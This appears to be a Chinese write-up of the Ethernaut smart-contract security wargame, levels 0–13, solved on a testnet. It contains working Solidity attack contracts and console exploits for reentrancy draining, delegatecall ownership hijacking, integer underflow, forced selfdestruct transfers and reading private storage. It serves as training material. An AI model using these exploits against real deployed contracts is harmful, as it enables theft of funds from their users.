[区块链安全-Ethernaut]区块链智能合约安全实战-连载中

Posted YANG HANG

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[区块链安全-Ethernaut]区块链智能合约安全实战-连载中相关的知识,希望对你有一定的参考价值。

[区块链安全-Ethernaut]区块链智能合约安全实战-连载中

准备

随着区块链技术的逐渐推广,区块链安全也逐渐成为研究的热点。在其中,又以智能智能合约安全最为突出。Ethernaut正是入门研究区块链智能合约安全的好工具。

  • 首先,应确保安装Metamask,如果可以使用Google Extension可以直接安装,否则可以使用FireFox安装
  • 新建账号,并连接到RinkeBy Test Network(需要在Setting - Advanced里启用Show test networks,并在网络中进行切换)
  • 访问Faucet并获取测试币,每天都有0.1Eth的额度

现在就可以开始Ethernaut的探索之旅了!


0. Hello Ethernaut

本节比较简单,所以我将更关注整体过程,介绍Ethernaut的实例创建等等,自己也梳理一下,所以会更详细一些。

准备工作

进入Hello Ethernaut,会自动提示连接Metamask钱包,连接后,示意图如下:

按F12打开开发者工具,在console界面就可以进行智能合约的交互。

创建实例并分析

单击 Get New Instance 以创建新的合约实例。

可以看出我们实际上是通过与合约0xD991431D8b033ddCb84dAD257f4821E9d5b38C33交互以创建实例。在辅导参数中,调用0xdfc86b17方法,附带地址为0x4e73b858fd5d7a5fc1c3455061de52a53f35d966作为参数。实际上,所有关卡创建实例时都会向0xD991431D8b033ddCb84dAD257f4821E9d5b38C33,附带的地址则是用来表明所处的关卡,如本例URL地址也为
https://ethernaut.openzeppelin.com/level/0x4E73b858fD5D7A5fc1c3455061dE52a53F35d966


实例已经成功生成,主合约交易截图如下:


进入交易详情,查看内部交易,发现合约之间产生了调用。第一笔是由主合约调用关卡合约,第二笔是由关卡合约创建合约实例,其中实例地址为0x87DeA53b8cbF340FAa77C833B92612F49fE3B822


回到页面来看,可以确认生成实例的确为0x87DeA53b8cbF340FAa77C833B92612F49fE3B822

下面我们将进行合约的交互以完成本关卡。

合约交互

此时,在console界面可以通过playercontract分别查看用户当前账户和被创建合约实例。player代表用户钱包账户地址,而contract则包含合约实例abiaddress、以及方法信息。


按照提示要求输入await contract.info() ,得到结果'You will find what you need in info1().'

输入await contract.info1(),得到结果'Try info2(), but with "hello" as a parameter.'

输入await contract.info2('hello'),得到结果'The property infoNum holds the number of the next info method to call.

输入await contract.infoNum(),得到infoNum参数值为42(Word中的首位)。这就是下一步要调用的函数(info42)。

输入await contract.info42(),得到结果'theMethodName is the name of the next method.,即下一步应当调用theMethodName


输入await contract.theMethodName(),得到结果'The method name is method7123949.


输入await contract.method7123949(),得到结果'If you know the password, submit it to authenticate().

所以通过password()可以获取密码ethernaut0,并将其提交到authenticate(string)

注意当在进行authenticate()函数时,Metamask会弹出交易确认,这是因为该函数改变了合约内部的状态(以实现对关卡成功的检查工作),而其他先前调用的函数却没有(为View)。

此时,本关卡已经完成。可以选择Sumbit Instance进行提交,同样要签名完成交易


在此之后,Console页面弹出成功提示,本关卡完成!

总结

本题比较简单,更多的是要熟悉ethernaut的操作和原理。


1. Fallback

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xe0D053252d87F16F7f080E545ef2F3C157EA8d0E
本关卡要求获得合约的所有权并清空余额
观察其源代码,找到合约所有权变更的入口。找到两个,分别是contribute()receive(),其代码如下:

  function contribute() public payable 
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) 
      owner = msg.sender;
    
  
  receive() external payable 
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  

按照contribute()的逻辑,当用户随调用发送小于0.001 ether其总贡献额超过了owner,即可获得合约的所有权。这个过程看似简单,但是通过以下constructor()函数可以看出,在创建时,owner的创建额为1000 ether,所以这种方法不是很实用。

  constructor() public 
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  

再考虑receive()函数,根据其逻辑,当用户发送任意ether,且在此之前已有贡献(已调用过contribute()函数),即可获得合约所有权。receive()类似于fallback(),当用户发送代币但没有指定函数对应时(如sendTransaction()),会调用该方法。
在获取所有权后,再调用withdraw函数既可以清空合约余额。

合约交互

使用contract命令,查看合约abi及对外函数情况。


调用await contract.contribute(value:1),向合约发送1单位Wei。


此时,调用await contract.getContribution()查看用户贡献,发现贡献度为1,满足调用receiver()默认函数的最低要求。


使用await contract.sendTransaction(value:1)构造转账交易发送给合约,

调用await contract.owner() === player 确认合约所有者已经变更。

最后调用await contract.withdraw()取出余额。

提交实例,显示关卡成功!

总结

本关卡也算比较简单,主要需要分析代码内部的逻辑,理解fallback()receive的原理。


2. Fallout

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x891A088f5597FC0f30035C2C64CadC8b07566DC2
本关卡要求获取合约的所有权。首先使用contract命令查看合约的abi及函数信息。

查看合约源码,寻找可能的突破点。结果发现Fal1out()函数即为突破口。其代码如下:

  /* constructor */
  function Fal1out() public payable 
    owner = msg.sender;
    allocations[owner] = msg.value;
  

对于Solidity来说,其在0.4.22前的编译器版本支持同合约名的构造函数,如:

pragma solidity ^0.4.21;

contract DemoTest

    function DemoTest() public

    

而在0.4.22起只支持利用constructor()构建,如:

pragma solidity ^0.4.22;

contract DemoTest
     constructor() public

    

但在本关卡中,很明显合约创建者出错,将Fallout写成了Fal1out。所以我们直接调用函数Fal1out即可获得所有权。

合约交互

使用await contract.owner()获取当前合约所有者为0x0地址。

调用await contract.Fal1out(value:1)实现所有权的获取。

调用await contract.owner() === player确认已获取合约所有权。

提交实例,本关卡完成!

总结

本关卡比较简单,主要考察对于合约细节和构造函数的理解和把握。


3. Coin Flip

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54
本关卡要求连续10次猜对硬币的正反面

我们首先对代码展开观察,其代码示意如下图所示:

  function flip(bool _guess) public returns (bool) 
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) 
      revert();
    

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) 
      consecutiveWins++;
      return true;
     else 
      consecutiveWins = 0;
      return false;
    
  

可知,硬币的正反面是由当前区块前一区块的高度所决定的。如果我们不知道当前区块高度是多少,就难以提前预知硬币的正反面。且同时,合约通过lastHash保证同一区块只能有一次提交。
此处我们将引入合约间调用的概念,正如我们在Hello Ethernaut关卡中分析的那样,合约也可以调用合约,具体操作则作为Internal Txns,但仍与初始调用处于同一区块中。所以我们可以新建自己的智能合约,提前预测硬币正反面,并向关卡合约发出请求。

下面就到了合约间调用的内容了,其主要有几种:

  • 使用被调用合约实例(已知被调用合约代码)
  • 使用被调用合约接口实例(仅知道被调用合约接口)
  • 使用call命令调用合约

我们将编写自己的智能合约,从以上三个思路入手,实现合约间调用。

攻击合约编写

利用Remix在线编辑器编写合约,代码如下所示,其中CoinFlipAttack就是我们的攻击合约,而CoinFlipCoinFlipInterface都是为目标合约提供abi接口而定义的:

pragma solidity ^0.6.0;

// 由于使用在线版本remix,所以需要
import "https://github.com/OpenZeppelin/openzeppelin-contracts/blob/v3.0.0/contracts/math/SafeMath.sol";

// 用于使用被调用合约实例(已知被调用合约代码)
contract CoinFlip 
// 复制本关卡代码,此处省略....


// 用于 使用被调用合约接口实例(仅知道被调用合约接口)
interface CoinFlipInterface 
    function flip(bool _guess) external returns (bool);


contract CoinFlipAttacker
    
    using SafeMath for uint256;
    address private addr;
    CoinFlip cf_ins;
    CoinFlipInterface cf_interface;

    uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

    constructor(address _addr) public 
        addr = _addr;
        cf_ins = CoinFlip(_addr);
        cf_interface = CoinFlipInterface(_addr);
    

// 当用户发出请求时,合约在内部先自己做一次运算,得到结果,发起合约内部调用
    function getFlip() private returns (bool) 
        uint256 blockValue = uint256(blockhash(block.number.sub(1)));
        uint256 coinFlip = blockValue.div(FACTOR);
        bool side = coinFlip == 1 ? true : false;
        return side;
    

// 使用被调用合约实例(已知被调用合约代码)
    function attackByIns() public 
        bool side = getFlip();
        cf_ins.flip(side);
    

// 使用被调用合约接口实例(仅知道被调用合约接口)
    function attackByInterface() public 
        bool side = getFlip();
        cf_interface.flip(side);
    

// 使用call命令调用合约
    function attackByCall() public 
        bool side = getFlip();
        addr.call(abi.encodeWithSignature("flip(bool)",side));
    


合约交互

此时,我们选择0.6.12+commit.27d51765.js的编译器,通过编译,如下图所示:

在部署页面,选择Injected Web3,连接Metamask钱包,调用攻击合约的构造函数,其中构造参数传入目标合约0x85023291A7E49B6b9A5F47a22F5f23Ca92eB4e54


小狐狸签名,合约部署完成,攻击合约地址为0xf0467DEE254dA52c8bF922B2A10BB835e7eb49fF,显示如下调用接口,我们接下来将分别从以下三种方式展开攻击:

  • 使用被调用合约实例(attackByIns)
    在调用前,我们有连续猜中次数为3,如下图所示:

    点击attackByIns,弹出Metamask确认弹窗,确认,当前区块已成功挖出。


而此时连续猜中次数变为4,该方法验证成功!

  • 使用被调用合约接口实例(attackByInterface)

此时,连续猜中次数为4,点击attackByInterface,弹出Metamask确认弹窗,确认,当前区块已成功挖出。

而此时连续猜中次数变为5,该方法验证成功!

  • 使用call命令调用合约(attackByCall)
    此时,连续猜中次数为5,点击attackByCall,弹出Metamask确认弹窗,确认,当前区块已成功挖出。

    而此时连续猜中次数变为6,该方法验证成功!

无论是哪种方法都可以实现同区块内的合约调用,但一定要注意gas limit的设置,如果不够会爆出out of gas或者reverted的错误,可以在小狐狸确认界面进行设置。

我们接下来可以使用任意调用再做4次直至到10,最终提交!
提交实例,本关卡完成!

总结

本关卡主要考察solidity的编写及合约间的调用。我在做的时候遇到了很多gas相关的问题,以前不是很注意,现在要非常注意了!


4. Telephone

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xba9405B2d9D1B92032740a67B91690a70B769221
分析其合约源码,要求变更合约所有权,其突破口在于changeOwner函数,函数代码如下所示:

  function changeOwner(address _owner) public 
    if (tx.origin != msg.sender) 
      owner = _owner;
    
  

其先决条件在于tx.originmsg.sender不相同,那我们应对此展开研究。

  • tx.origin会遍历整个调用栈并返回最初发送调用(或交易)的帐户的地址。
  • msg.sender为直接调用智能合约功能的帐户或智能合约的地址

两者区别在于如果同一笔交易内有多笔调用,tx.origin保持不变,而msg.sender将会发生改变。我们将以此为根据,编写智能合约,将该合约作为中间人展开攻击。

攻击合约编写

同样在remix中编写合约,合约代码如下,与上一关卡类似,通过interface接口创建合约接口实例,我们则通过attack函数执行攻击

pragma solidity ^0.6.0;

interface TelephoneInterface 
    function changeOwner(address _owner) external;




contract TelephoneAttacker 

    TelephoneInterface tele;

    constructor(address _addr) public 
        tele = TelephoneInterface(_addr);
    

    function attack(address _owner) public 
        tele.changeOwner(_owner);
    


合约交互

初始时,合约所有权尚未得到。


我们在remix上部署合约,参数附带0xba9405B2d9D1B92032740a67B91690a70B769221以初始化被攻击合约接口实例tele。生成攻击合约地址为0x25C2fdE7f0eC90fD3Ef3532261ed84D0f0201811

在remix上调用attack函数,参数为0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b即钱包地址。

此时,再检查所有权发现已发生变更。

提交实例,本关卡已成功通过。

总结

tx.origin这个有很多合约在用,但如果使用不当,会引起很严重的后果。
比如说,我设置了合约,引起被攻击合约主动发起调用,在接受函数里展开攻击,就可以绕过tx.origin相关的安全设置。


5. Token

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x7867dB9A1E0623e8ec9c0Ab47496166b45832Eb3
由合约创建过程来看,应是实例创建合约0xD991431D8b033ddCb84dAD257f4821E9d5b38C33调用关卡合约0x63bE8347A617476CA461649897238A31835a32CE创建目标合约,并向player转账20token

分析其合约源码,要求增加已有的代币数量,应该从transfer函数入手,函数代码如下:

  function transfer(address _to, uint _value) public returns (bool) 
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  

这里代码里犯了一个错误,那就是对于uint运算没有做溢出检查,举例来说对于8位无符号整型,会有0-1=255255+1=0的错误产生。我们就可以利用这一漏洞,实现代币的无限增发。

合约交互

调用await contract.transfer('0x63bE8347A617476CA461649897238A31835a32CE',21)函数,注意此处不能给自身转账,因为会先出现下溢出,再出现上溢出,我们直接转账给关卡合约21个token,此时20-21发生了下溢出,达到最大值。此时,可以看到,代币余额发生了增长。


提交实例,本关卡通过!

总结

这就是为什么我们需要Safemath。写合约时一定要注意上溢出和下溢出!

6. Delegation

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x3E446558C8e3BBf1CE93324D330E89e5Fd964b7d
本关卡要求**获取合约Delegation**的所有权。

对合约展开分析,源代码部分提供了两部分合约,一个是Delegate,另一个则是Delegation。两合约间通过Delegationfallback函数,基于delegatecall方法展开调用。

  fallback() external 
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) 
      this;
    
  

对于Delegation合约来说,其内部找不到更换所有权的代码,我们就可以换个思路,看看Delegate合约里有没有。分析合约可以看到,pwn()可以实现。

  function pwn() public 
    owner = msg.sender;
  

这时候可能有人会感到疑惑,DelegateDelegation是两个不同的合约,如果我们仅去修改Delegate里的owner,会对跨合约调用它的Delegation产生影响吗?

在 Solidity 中,call 函数簇可以实现跨合约的函数调用功能,其中包括 calldelegatecall callcode,我们下面就要来分析以下三种跨合约调用方法的区别(以用户A通过B合约调用C合约为例):

  • call: 最常用的调用方式,调用后内置变量 msg 的值会修改为调用者B,执行环境为被调用者的运行环境C。
  • delegatecall:调用后内置变量 msg 的值A不会修改为调用者,但执行环境为调用者的运行环境B
  • callcode:调用后内置变量 msg 的值会修改为调用者B,但执行环境为调用者的运行环境B

所以当时用delegatecall时,尽管我们是调用Delegate合约中的函数,但实际上,我们是在Delegation环境里去做得,可以理解为将代码“引入”了。因此,我们可以实现合约权的转移。

合约交互

初始化时,有合约所有权并不为player

使用contract.sendTransaction(value:1,data:web3.utils.keccak256("pwn()").slice(0,10))来发起调用,结果失败,仔细一看是因为fallback没有payable修饰。这是一开始的理解错误,观察不够仔细。


去掉value,重新调用await contract.sendTransaction(data:web3.utils.keccak256("pwn()").slice(0,10))。此时合约所有权已完成转移。解释一下,这里data是为了调用pwn函数,使用sha3编码并取了前4个字节,此处因为没有入参,所以作了简化。

提交合约实例,本关卡成功!

总结

合约间的调用需要非常谨慎,delegate原来是为了编程弹性,但如果处理不当,会给安全带来很大问题!


7. Force

不好意思,最近工作上略有些忙,因为工作涉及到对外网络安全贸易,所以最近一直忙着培训。但这块肯定会持续完成。

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xa39A09c4ebcf4069306147035dd7cE7735A25532
本关卡要求给合约Force转入代币,但是究其合约,似乎并没有payable函数。那么我们该怎么做呢?

在实际中,如果要给智能合约转账,有几种常见方法。

  • Transfer: Throws exception when an error occurs, and the code will not execute afterward
  • Send: The transfer error does not throw an exception and returns true/false. The code will continue to execute.
  • call.value().gas: Transfer error does not throw an exception and returns true/false. The code will execute, but call functions for transfer are prone to reentrancy attacks.

三种方式存在一个前提,即接受合约必须能够接受转账,即存在payable函数,否则将会回退。

那么有没有其他方法呢?

However, there’s another way to transfer funds without obtaining the funds first: The Self Destruct function. Selfdestruct is a function in the Solidity smart contract used to delete contracts on the blockchain. When a contract executes a self-destruct operation, the remaining ether on the contract account will be sent to a specified target, and its storage and code are erased

也就是说,我们可以通过合约的自毁函数,将合约剩下的以太发送给指定地址,此时不需要判断该地址谁否能够接受转账。所以我们可以构建智能合约,完成自毁,即可实现攻击。

合约交互

合约本身并不提供余额查询,所以我们前往链上查询。此时合约余额为0。


我们通过remix构建合约,其中写入自毁函数。

pragma solidity ^0.6.0;

contract ForceAttacker 

    constructor() public payable

    

    function destruct(address payable addr) public 
        selfdestruct(addr);
    


新建合约,部署到Rinkeby测试网,合约地址0x7718f44c496885708ECb8CC84Af4F3d51338cb3C

以被攻击合约为变量,调用destruct函数。

此时可以看到,被攻击合约链上地址余额发生变化,从0变为了50。


提交实例,本关卡成功通过!

总结

selfdestruct不会触发payable检查,如果没有很好的检查,很可能会对合约本身的运行带来难以预估的影响。为了防止黑客对于this.balance的操纵,我们应使用balance变量来接受特定业务逻辑的余额。


8. Vault

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x81E840E30457eBF63B41bE233ed81Db4BcCF575E

对合约展开分析,本关卡的要求是解锁,而解锁的唯一办法是输入正确的password。本关卡对password的定义是私有变量,那时不时就看不到了呢?

答案是否定的,一切变量都存储在链上,我们自然可以看到。现在问题就是,在哪看,用什么看?

第一个回答是用什么看?

web3.eth.getStorageAt(address, position [, defaultBlock] [, callback]),使用这个命令可以看到储存在某个地址的存储内容。
其参数代表含义如下:

String - The address to get the storage from.
Number|String|BN|BigNumber - The index position of the storage.
Number|String|BN|BigNumber - (optional) If you pass this parameter it will not use the default block set with web3.eth.defaultBlock. Pre-defined block numbers as "earliest", "latest" and "pending" can also be used.
Function - (optional) Optional callback, returns an error object as first parameter and the result as second.

一般来说,我们使用web3.eth.getStorageAt("0x407d73d8a49eeb85d32cf465507dd71d507100c1", 0) .then(console.log);,后面两个参数一般都是可选的。

第二个回答是怎么看?

以太坊数据存储会为合约的每项数据指定一个可计算的存储位置,存放在一个容量为 2^256 的超级数组中,数组中每个元素称为插槽(slot),其初始值为 0。虽然数组容量的上限很高,但实际上存储是稀疏的,只有非零 (空值) 数据才会被真正写入存储。每个数据存储的插槽位置是一定的。

# 插槽式数组存储
----------------------------------
|               0                |     # slot 0
----------------------------------
|               1                |     # slot 1
----------------------------------
|               2                |     # slot 2
----------------------------------
|              ...               |     # ...
----------------------------------
|              ...               |     # 每个插槽 32 字节
----------------------------------
|              ...               |     # ...
----------------------------------
|            2^256-1             |     # slot 2^256-1
----------------------------------

每个插槽32字节,对于值类型,其存放是连续的,满足以下规律。

  • 存储插槽的第一项会以低位对齐(即右对齐)的方式储存
  • 基本类型仅使用存储它们所需的字节
  • 如果存储插槽中的剩余空间不足以储存一个基本类型,那么它会被移入下一个存储插槽
  • 结构和数组数据总是会占用一整个新插槽(但结构或数组中的各项,都会以这些规则进行打包)

例如以下合约

pragma solidity ^0.4.0;

contract C 
    address a;      // 0
    uint8 b;        // 0
    uint256 c;      // 1
    bytes24 d;      // 2

其存储布局如下:

-----------------------------------------------------
| unused (11) | b (1) |            a (20)           | <- slot 0
-----------------------------------------------------
|                       c (32)                      | <- slot 1
-----------------------------------------------------
| unused (8) |                d (24)                | <- slot 2
-----------------------------------------------------

回到本题,很明显存储摆放应该是

-----------------------------------------------------
| unused (31) |           locked(1)          | <- slot 0
-----------------------------------------------------
|                       password (32)                      | <- slot 1
-----------------------------------------------------

所以我们可以通过slot1获取password信息。

合约交互

输入await web3.eth.getStorageAt(contract.address,1)获取byte32 password

此时,合约仍然上锁(可通过await contract.locked())查询。


调用await contract.unlock('0x412076657279207374726f6e67207365637265742070617373776f7264203a29')实现对合约的解锁。

此时,合约已经解锁。

提交实例,本关卡成功通过。

总结

区块链上没有秘密。


9 King

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xb21Cf6f8212B2Ef639728Ae87979c6d63d976Ef2。对其合约展开分析,其合约功能在于以下代码段:

  receive() external payable 
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  

当接收到外来转账时,如果发送金额大于当前奖金,即将发送金额发送给当前国王,更新奖金,而发送者将成为新的国王。
本关卡目的在于打破这一循环。

打破这一循环的入手点就在于该函数交互实际上是一个连续的过程。

  1. 用户发送指定金额的以太。
  2. 合约将以太转发给当前国王
  3. 更新国王及奖金。

我们只要作为国王,拒不接受合约转来的奖金,整个过程即可回退。

攻击合约编写

我们同样在remix里编写攻击合约。如下:


contract KingAttacker 

    constructor() public payable

    

    function attack(address payable addr) public payable
        addr.call.value(msg.value)("");
    
    
    fallback() external payable
        revert();
    

 

在接受函数,我们主动回退,即可防止合约继续执行。

合约交互

首先我们先看看当前我们需传入多少。在目标合约详情页面,可以看到,创建合约时传入0.001Ether。


所以我们创建攻击合约(0x9Fd9980aCb9CAb42EDE479e99e01780E8c79b208)后,传入2Finney,调用攻击合约attack方法。


此时我们看看国王,使用await contract._king(),可以看出,国王已经变成攻击合约。

提交合约,关卡成功!


查看链上数据可知,在执行过程中产生了回滚(revert)。

总结

攻击时可以从合约执行的多个角度入手。


10 Re-entrancy

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e。对其合约展开分析,其合约提取函数如下:

  function withdraw(uint _amount) public 
    if(balances[msg.sender] >= _amount) 
      (bool result,) = msg.sender.callvalue:_amount("");
      if(result) 
        _amount;
      
      balances[msg.sender] -= _amount;
    
  

这个合约的问题在哪里呢?那就是他弄错了记账、转账的顺序(先转账,再记账)。一般来说,我们去银行取钱,银行都会先在自己的账本上记一笔,然后才会把钱取出来给我们。虽然说,我们也不可能同时出现在两个地方取钱,但在区块链中,有没有可能呢?

答案是有的,如果我们在接受合约转账的同时又发起新的取钱操作,那么很明显,如果是连续的调用过程,在未修改账本的情况下,合约仍会给用户转账?

那么,怎样做才能保证实现连续的调用呢?那就是使用合约去与被攻击合约进行交互。

攻击合约编写

我们同样在remix里编写攻击合约。如下:

pragma solidity ^0.6.0;


interface Reentrance
    function donate(address _to) external payable;
    function withdraw(uint _amount) external;
    function balanceOf(address _who) external view returns (uint balanceOf);


contract Attacker 
    Reentrance ReentranceImpl;
    uint256 requiredValue;

    constructor(address addr) public payable
    ReentranceImpl = Reentrance(addr);
    requiredValue = msg.value;
    

    function getBalance(address addr) public view returns (uint)
        return addr.balance;
    

    function donate() public 
        ReentranceImpl.donatevalue:requiredValue(address(this));
    

    function withdraw(uint _amount) public 
        ReentranceImpl.withdraw(_amount);
    

    function destruct() public 
        selfdestruct(msg.sender);
    

    fallback() external payable 
        uint256 ReentranceImplValue = address(ReentranceImpl).balance;
        if (ReentranceImplValue >= requiredValue) 
            withdraw(requiredValue);
        else if(ReentranceImplValue > 0) 
            withdraw(ReentranceImplValue);
        
     



我们使用ReentranceImpl标记目标合约,使用requiredValue来表示合约在目标合约中存的钱。同时,我们又定义fallback函数,每当受到资金时,就会调用withdraw函数,从目标合约中提取余额。让我们进行合约交互。

合约交互

先查看合约本身有多少以太,在浏览器上查看,发现总共有0.001以太。

所以我们在部署合约时传入500000000000000 Wei,这样能反复调用三次,以确认合约的攻击效果,同时我们传入目标合约地址0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e,部署后,攻击合约地址为0xc9bf4c2AcdBd38CF8f73541f78A2E30Eb5e91287

首先我们查询合约本身余额,为500000000000000 Wei,其次我们查询目标合约余额,为1000000000000000 Wei。


我们利用donate函数向目标合约存入余额。

此时,目标合约的余额也变成了0.0015Ether。
我们接下来发起攻击,即使用withdraw函数提取500000000000000 Wei。发起交易时,应在小狐狸界面修改gas。等待交易完成,此时有合约中实现了三笔转账。

而目标合约余额已经归零,攻击完成!

提交实例,本关卡完成!

最后别忘了通过合约自毁(destruct)收回余额哦~

总结

合约的设计应当充分谨慎,任意一点疏忽都会带来很大影响


11 Elevator

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE。对其合约展开分析,其合约核心代码如下:

  function goTo(uint _floor) public 
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) 
      floor = _floor;
      top = building.isLastFloor(floor);
    
  

由于先判断isLastFloor,不满足后才进入if结构体,并再次获取isLastFloor。该合约于是想当然认为,第二次获取的结果依然不满足,是这样吗?

由于对外调用带来的影响,在外部调用时合约无法控制外部合约的行为。所以我们可以编写智能合约发起相关进攻。

攻击合约编写

我们同样在remix里编写攻击合约。如下:

pragma solidity ^0.6.0;

interface   Elevator
    function goTo(uint _floor) external;


contract Building 

    Elevator elevatorImpl;
    bool isTop;


    constructor(address addr) public 
        elevatorImpl = Elevator(addr);
        isTop = false;
    

    function flip() public 
        isTop = !isTop;
    

    function isLastFloor(uint) public returns (bool)
        bool res = isTop;
        flip();
        return res;
    
    
    function attack() public 
        elevatorImpl.goTo(1);
    

其核心之处在于,每次调用isLastFloor函数都会内部调用flip函数完成变量isTop的翻转,因此连续两次获取的结果是不一样的。

合约交互

输入await contract.top()查看是否为顶层,结果为false。

部署合约,传入目标合约0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE,构建合约的地址为0x0906dCbd3C31CDfB6A490A04D7ea03fC19F7a40a

调用attack()函数,发起对目标合约的攻击。

此时,再次查看,输入await contract.top()查看是否为顶层,结果为true。

提交实例,本关卡成功!

总结

合约是难以相信的,即使合约编写的再好,无法控制他人的行为,也毫无用处。


12 Privacy

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x5a5F99370275Ca9068DfDF9E9edEB40Cb8d9aeFf。对其合约展开分析,其合约核心代码如下:

  function unlock(bytes16 _key) public 
    require(_key == bytes16(data[2]));
    locked = false;
  

此时,应当输入data[2],而这又该怎么获得呢?很明显,我们还是要从存储机制入手。

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

这是变量定义,对应的,我们有槽存储分布如下:

-----------------------------------------------------
| unused (31)    |          locked(1)               | <- slot 0
-----------------------------------------------------
|                       ID(32)                      | <- slot 1
-----------------------------------------------------
| unused (28) | awkwardness(2) |  denomination (1) | flattening(1)  | <- slot 2
-----------------------------------------------------
| data[0](32)  | <- slot 3
-----------------------------------------------------
| data[1](32)  | <- slot 4
-----------------------------------------------------
| data[2](32)  | <- slot 5
-----------------------------------------------------

所以,data[2]存储在slot 5里。

合约交互

输入await web3.eth.getStorageAt(contract.address,5)得到data2='0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'

此时bytes16与bytes32之间存在转换。要注意,以太坊有两种存储方式,大端(strings & bytes,从左开始)及小端(其他类型,从大开始)。因此,从32到16转换时,需要砍掉右边的16个字节。

我们该怎么做呢?即'0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'.slice(0,34)


之后,直接提交结果,准备解锁。contract.unlock('0xad4d68dd2ede6bf23b06d5ed3076ab0d')

此时,合约已经完成解锁。

提交实例,本关卡成功!

总结

还是那句话,区块链上没有秘密。


13 GateKeeper One

大家好 我又回来了。最近真的很忙,我抓紧8月份将这一系列完成,然后进行下一步内容的分享。

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284。本关卡的目的是满足gateOnegateTwogateThree,成功实现entrant的修改。

那么我们需要怎么做呢?首先看一看modifier分别提出了什么要求。看看能否满足和修改?

  modifier gateOne() 
    require(msg.sender != tx.origin);
    _;
  

分析gateOne,可以看出需要msg.sender != tx.origin,这表明我们需要一个合约作为中转。

  modifier gateTwo() 
    require(gasleft().mod(8191) == 0);
    _;
  

分析gateTwo,这表明在执行到该步骤时,需要剩下的gas必须为8191的倍数,这需要我们对gas作出设定。

  modifier gateThree(bytes8 _gateKey) 
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  

分析gateThree,这表明需要输入特殊的bytes8数据,保证其1-16位为tx.origin的数据且17-32位为0(uint32(uint64(_gateKey)) == uint16(tx.origin),),33-64位不全为0(uint32(uint64(_gateKey)) != uint64(_gateKey))。

所以我们可以整理思路,编写智能合约了。

攻击合约编写

我们同样在remix里编写攻击合约。如下:

pragma solidity ^0.6.0;

interface Gate 
    function enter(bytes8 _gateKey) external returns (bool);


contract attackerSupporter 

    uint64 offset = 0xFFFFFFFF0000FFFF;
    bytes8 changedValue;
    Gate gateImpl;

    constructor(address addr) public 
        gateImpl = Gate(addr);
    

    function getAddress() public 
        changedValue = bytes8(uint64(tx.origin) & offset);
    

    function check1() public view returns (bool)
        return uint32(uint64(changedValue)) == uint16(uint64(changedValue));
    

    function check2() public view returns (bool)
        return uint32(uint64(changedValue)) != uint64(changedValue);
    

    function check3() public view returns (bool)
        return uint32(uint64(changedValue)) == uint16(tx.origin);
    

    function attack() public 
        gateImpl.enter(changedValue);
    

这里主要看为什么能够解决gateThree的需求。当获取输入的时候,会进行bytes8(uint64(tx.origin) & offset)运算。